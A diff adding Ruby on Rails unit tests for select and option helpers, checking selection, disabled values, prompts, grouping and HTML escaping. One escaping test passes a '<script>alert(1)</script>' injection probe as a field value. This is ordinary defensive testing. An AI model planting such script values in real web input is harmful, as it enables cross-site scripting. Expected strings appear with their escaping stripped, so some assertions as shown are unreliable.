+        options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
+      )
+  end
+
+  def test_array_options_for_select_with_disabled_value
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" disabled=\"disabled\"><USA></option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => "<USA>")
+    )
+  end
+
+  def test_array_options_for_select_with_disabled_array
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" disabled=\"disabled\"><USA></option>\n<option value=\"Sweden\" disabled=\"disabled\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => ["<USA>", "Sweden"])
+    )
+  end
+
+  def test_array_options_for_select_with_selection_and_disabled_value
+    assert_dom_equal(
+      "<option value=\"Denmark\" selected=\"selected\">Denmark</option>\n<option value=\"<USA>\" disabled=\"disabled\"><USA></option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], :selected => "Denmark", :disabled => "<USA>")
+    )
+  end
+
+  def test_boolean_array_options_for_select_with_selection_and_disabled_value
+    assert_dom_equal(
+      "<option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option>",
+      options_for_select([ true, false ], :selected => false, :disabled => nil)
+    )
+  end
+
+  def test_range_options_for_select
+    assert_dom_equal(
+      "<option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option>",
+      options_for_select(1..3)
+    )
+  end
+
+  def test_array_options_for_string_include_in_other_string_bug_fix
+      assert_dom_equal(
+        "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
+        options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
+      )
+      assert_dom_equal(
+        "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
+        options_for_select([ "ruby", "rubyonrails" ], "ruby")
+      )
+      assert_dom_equal(
+        %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
+        options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
+      )
+  end
+
+  def test_hash_options_for_select
+    assert_dom_equal(
+      "<option value=\"Dollar\">$</option>\n<option value=\"<Kroner>\"><DKR></option>",
+      options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").join("\n")
+    )
+    assert_dom_equal(
+      "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"<Kroner>\"><DKR></option>",
+      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").join("\n")
+    )
+    assert_dom_equal(
+      "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"<Kroner>\" selected=\"selected\"><DKR></option>",
+      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").join("\n")
+    )
+  end
+
+  def test_ducktyped_options_for_select
+    quack = Struct.new(:first, :last)
+    assert_dom_equal(
+      "<option value=\"<Kroner>\"><DKR></option>\n<option value=\"Dollar\">$</option>",
+      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
+    )
+    assert_dom_equal(
+      "<option value=\"<Kroner>\"><DKR></option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
+    )
+    assert_dom_equal(
+      "<option value=\"<Kroner>\" selected=\"selected\"><DKR></option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
+    )
+  end
+
+  def test_collection_options_with_preselected_value_as_string_and_option_value_is_integer
+    albums = [ Album.new(1, "first","rap"), Album.new(2, "second","pop")]
+    assert_dom_equal(
+    %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+    options_from_collection_for_select(albums, "id", "genre", :selected => "1")
+    )
+  end
+
+  def test_collection_options_with_preselected_value_as_integer_and_option_value_is_string
+    albums = [ Album.new("1", "first","rap"), Album.new("2", "second","pop")]
+
+    assert_dom_equal(
+    %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+    options_from_collection_for_select(albums, "id", "genre", :selected => 1)
+    )
+  end
+
+  def test_collection_options_with_preselected_value_as_string_and_option_value_is_float
+    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+    assert_dom_equal(
+    %(<option value="1.0">rap</option>\n<option value="2.0" selected="selected">pop</option>),
+    options_from_collection_for_select(albums, "id", "genre", :selected => "2.0")
+    )
+  end
+
+  def test_collection_options_with_preselected_value_as_nil
+    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+    assert_dom_equal(
+    %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+    options_from_collection_for_select(albums, "id", "genre", :selected => nil)
+    )
+  end
+
+  def test_collection_options_with_disabled_value_as_nil
+    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+    assert_dom_equal(
+    %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+    options_from_collection_for_select(albums, "id", "genre", :disabled => nil)
+    )
+  end
+
+  def test_collection_options_with_disabled_value_as_array
+    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+    assert_dom_equal(
+    %(<option disabled="disabled" value="1.0">rap</option>\n<option disabled="disabled" value="2.0">pop</option>),
+    options_from_collection_for_select(albums, "id", "genre", :disabled => ["1.0", 2.0])
+    )
+  end
+
+  def test_collection_options_with_preselected_values_as_string_array_and_option_value_is_float
+    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop"), Album.new(3.0, "third","country") ]
+
+    assert_dom_equal(
+    %(<option value="1.0" selected="selected">rap</option>\n<option value="2.0">pop</option>\n<option value="3.0" selected="selected">country</option>),
+    options_from_collection_for_select(albums, "id", "genre", ["1.0","3.0"])
+    )
+  end
+
+  def test_option_groups_from_collection_for_select
+    assert_dom_equal(
+      "<optgroup label=\"<Africa>\"><option value=\"<sa>\"><South Africa></option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
+      option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk")
+    )
+  end
+
+  def test_option_groups_from_collection_for_select_returns_html_safe_string
+    assert option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk").html_safe?
+  end
+
+  def test_grouped_options_for_select_with_array
+    assert_dom_equal(
+      "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+      grouped_options_for_select([
+         ["North America",
+             [['United States','US'],"Canada"]],
+         ["Europe",
+             [["Great Britain","GB"], "Germany"]]
+       ])
+    )
+  end
+
+  def test_grouped_options_for_select_with_array_and_html_attributes
+    assert_dom_equal(
+      "<optgroup label=\"North America\" data-foo=\"bar\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\" disabled=\"disabled\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+      grouped_options_for_select([
+         ["North America", [['United States','US'],"Canada"], :data => { :foo => 'bar' }],
+         ["Europe", [["Great Britain","GB"], "Germany"], :disabled => 'disabled']
+       ])
+    )
+  end
+
+  def test_grouped_options_for_select_with_optional_divider
+    assert_dom_equal(
+      "<optgroup label=\"----------\"><option value=\"US\">US</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"----------\"><option value=\"GB\">GB</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+
+      grouped_options_for_select([['US',"Canada"] , ["GB", "Germany"]], nil, divider: "----------")
+    )
+  end
+
+  def test_grouped_options_for_select_with_selected_and_prompt
+    assert_dom_equal(
+        "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: "Choose a product...")
+    )
+  end
+
+  def test_grouped_options_for_select_with_selected_and_prompt_true
+    assert_dom_equal(
+        "<option value=\"\">Please select</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: true)
+    )
+  end
+
+  def test_grouped_options_for_select_returns_html_safe_string
+    assert grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]]).html_safe?
+  end
+
+  def test_grouped_options_for_select_with_prompt_returns_html_escaped_string
+    assert_dom_equal(
+      "<option value=\"\"><Choose One></option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+      grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, prompt: '<Choose One>'))
+  end
+
+  def test_optgroups_with_with_options_with_hash
+    assert_dom_equal(
+       "<optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+       grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']})
+    )
+  end
+
+  def test_time_zone_options_no_params
+    opts = time_zone_options_for_select
+    assert_dom_equal "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\">D</option>\n" +
+                 "<option value=\"E\">E</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_selected
+    opts = time_zone_options_for_select( "D" )
+    assert_dom_equal "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_unknown_selected
+    opts = time_zone_options_for_select( "K" )
+    assert_dom_equal "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\">D</option>\n" +
+                 "<option value=\"E\">E</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_priority_zones
+    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+    opts = time_zone_options_for_select( nil, zones )
+    assert_dom_equal "<option value=\"B\">B</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\">D</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_selected_priority_zones
+    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+    opts = time_zone_options_for_select( "E", zones )
+    assert_dom_equal "<option value=\"B\">B</option>\n" +
+                 "<option value=\"E\" selected=\"selected\">E</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\">D</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_unselected_priority_zones
+    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+    opts = time_zone_options_for_select( "C", zones )
+    assert_dom_equal "<option value=\"B\">B</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"C\" selected=\"selected\">C</option>\n" +
+                 "<option value=\"D\">D</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_priority_zones_does_not_mutate_time_zones
+    original_zones = ActiveSupport::TimeZone.all.dup
+    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+    time_zone_options_for_select(nil, zones)
+    assert_equal original_zones, ActiveSupport::TimeZone.all
+  end
+
+  def test_time_zone_options_returns_html_safe_string
+    assert time_zone_options_for_select.html_safe?
+  end
+
+  def test_select
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest))
+    )
+  end
+
+  def test_select_without_multiple
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"></select>",
+      select(:post, :category, "", {}, :multiple => false)
+    )
+  end
+
+  def test_select_with_grouped_collection_as_nested_array
+    @post = Post.new
+
+    countries_by_continent = [
+      ["<Africa>", [["<South Africa>", "<sa>"], ["Somalia", "so"]]],
+      ["Europe",   [["Denmark", "dk"], ["Ireland", "ie"]]],
+    ]
+
+    assert_dom_equal(
+      [
+        %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>},
+        %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
+        %Q{<option value="ie">Ireland</option></optgroup></select>},
+      ].join("\n"),
+      select("post", "origin", countries_by_continent)
+    )
+  end
+
+  def test_select_with_grouped_collection_as_hash
+    @post = Post.new
+
+    countries_by_continent = {
+      "<Africa>" => [["<South Africa>", "<sa>"], ["Somalia", "so"]],
+      "Europe"   => [["Denmark", "dk"], ["Ireland", "ie"]],
+    }
+
+    assert_dom_equal(
+      [
+        %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>},
+        %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
+        %Q{<option value="ie">Ireland</option></optgroup></select>},
+      ].join("\n"),
+      select("post", "origin", countries_by_continent)
+    )
+  end
+
+  def test_select_with_boolean_method
+    @post = Post.new
+    @post.allow_comments = false
+    assert_dom_equal(
+      "<select id=\"post_allow_comments\" name=\"post[allow_comments]\"><option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option></select>",
+      select("post", "allow_comments", %w( true false ))
+    )
+  end
+
+  def test_select_under_fields_for
+    @post = Post.new
+    @post.category = "<mus>"
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_fields_for_with_record_inherited_from_hash
+    map = Map.new
+
+    output_buffer = fields_for :map, map do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
+      "<select id=\"map_category\" name=\"map[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_index
+    @post = Post.new
+    @post.category = "<mus>"
+
+    output_buffer = fields_for :post, @post, :index => 108 do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_auto_index
+    @post = Post.new
+    @post.category = "<mus>"
+    def @post.to_param; 108; end
+
+    output_buffer = fields_for "post[]", @post do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_string_and_given_prompt
+    @post = Post.new
+    options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>".html_safe
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.select(:category, options, :prompt => 'The prompt')
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n#{options}</select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_block
+    @post = Post.new
+
+    output_buffer = fields_for :post, @post do |f|
+      concat(f.select(:category) do
+        concat content_tag(:option, "hello world")
+      end)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option>hello world</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_multiple_to_add_hidden_input
+    output_buffer =  select(:post, :category, "", {}, :multiple => true)
+    assert_dom_equal(
+      "<input type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_multiple_and_without_hidden_input
+    output_buffer =  select(:post, :category, "", {:include_hidden => false}, :multiple => true)
+    assert_dom_equal(
+      "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_multiple_and_with_explicit_name_ending_with_brackets
+    output_buffer =  select(:post, :category, [], {include_hidden: false}, multiple: true, name: 'post[category][]')
+    assert_dom_equal(
+      "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_multiple_and_disabled_to_add_disabled_hidden_input
+    output_buffer =  select(:post, :category, "", {}, :multiple => true, :disabled => true)
+    assert_dom_equal(
+      "<input disabled=\"disabled\"type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" disabled=\"disabled\" id=\"post_category\" name=\"post[category][]\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_blank
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :include_blank => true)
+    )
+  end
+
+  def test_select_with_blank_as_string
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
+    )
+  end
+
+  def test_select_with_blank_as_string_escaped
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"><None></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :include_blank => '<None>')
+    )
+  end
+
+  def test_select_with_default_prompt
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :prompt => true)
+    )
+  end
+
+  def test_select_no_prompt_when_select_has_value
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :prompt => true)
+    )
+  end
+
+  def test_select_with_given_prompt
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
+    )
+  end
+
+  def test_select_with_given_prompt_escaped
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"><The prompt></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :prompt => '<The prompt>')
+    )
+  end
+
+  def test_select_with_prompt_and_blank
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
+    )
+  end
+
+  def test_empty
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
+      select("post", "category", [], :prompt => true, :include_blank => true)
+    )
+  end
+
+  def test_select_with_nil
+    @post = Post.new
+    @post.category = "othervalue"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"othervalue\" selected=\"selected\">othervalue</option></select>",
+      select("post", "category", [nil, "othervalue"])
+    )
+  end
+
+  def test_required_select
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true)
+    )
+  end
+
+  def test_required_select_with_include_blank_prompt
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), { include_blank: "Select one" }, required: true)
+    )
+  end
+
+  def test_required_select_with_prompt
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), { prompt: "Select one" }, required: true)
+    )
+  end
+
+  def test_required_select_display_size_equals_to_one
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required" size="1"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true, size: 1)
+    )
+  end
+
+  def test_required_select_with_display_size_bigger_than_one
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required" size="2"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true, size: 2)
+    )
+  end
+
+  def test_required_select_with_multiple_option
+    assert_dom_equal(
+      %(<input name="post[category][]" type="hidden" value=""/><select id="post_category" multiple="multiple" name="post[category][]" required="required"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true, multiple: true)
+    )
+  end
+
+  def test_select_with_fixnum
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"1\">1</option></select>",
+      select("post", "category", [1], :prompt => true, :include_blank => true)
+    )
+  end
+
+  def test_list_of_lists
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>",
+      select("post", "category", [["Number", "number"], ["Text", "text"], ["Yes/No", "boolean"]], :prompt => true, :include_blank => true)
+    )
+  end
+
+  def test_select_with_selected_value
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
+    )
+  end
+
+  def test_select_with_index_option
+    @album = Album.new
+    @album.id = 1
+
+    expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"
+
+    assert_dom_equal(
+      expected,
+      select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
+    )
+  end
+
+  def test_select_escapes_options
+    assert_dom_equal(
+      '<select id="post_title" name="post[title]"><script>alert(1)</script></select>',
+      select('post', 'title', '<script>alert(1)</script>')
+    )
+  end
+
+  def test_select_with_selected_nil
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), :selected => nil)
+    )
+  end
+
+  def test_select_with_disabled_value
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), :disabled => 'hest')
+    )
+  end
+
+  def test_select_not_existing_method_with_selected_value
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_locale\" name=\"post[locale]\"><option value=\"en\">en</option>\n<option value=\"ru\" selected=\"selected\">ru</option></select>",
+      select("post", "locale", %w( en ru ), :selected => 'ru')
+    )
+  end
+
+  def test_select_with_prompt_and_selected_value
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"one\">one</option>\n<option selected=\"selected\" value=\"two\">two</option></select>",
+      select("post", "category", %w( one two ), :selected => 'two', :prompt => true)
+    )
+  end
+
+  def test_select_with_disabled_array
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" disabled=\"disabled\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), :disabled => ['hest', 'abe'])
+    )
+  end
+
+  def test_select_with_range
+    @post = Post.new
+    @post.category = 0
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option></select>",
+      select("post", "category", 1..3)
+    )
+  end
+
+  def test_collection_select
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name")
+    )
+  end
+
+  def test_collection_select_under_fields_for
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_collection_select_under_fields_for_with_index
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    output_buffer = fields_for :post, @post, :index => 815 do |f|
+      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_collection_select_under_fields_for_with_auto_index
+    @post = Post.new
+    @post.author_name = "Babe"
+    def @post.to_param; 815; end
+
+    output_buffer = fields_for "post[]", @post do |f|
+      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_collection_select_with_blank_and_style
+    @post = Post.new
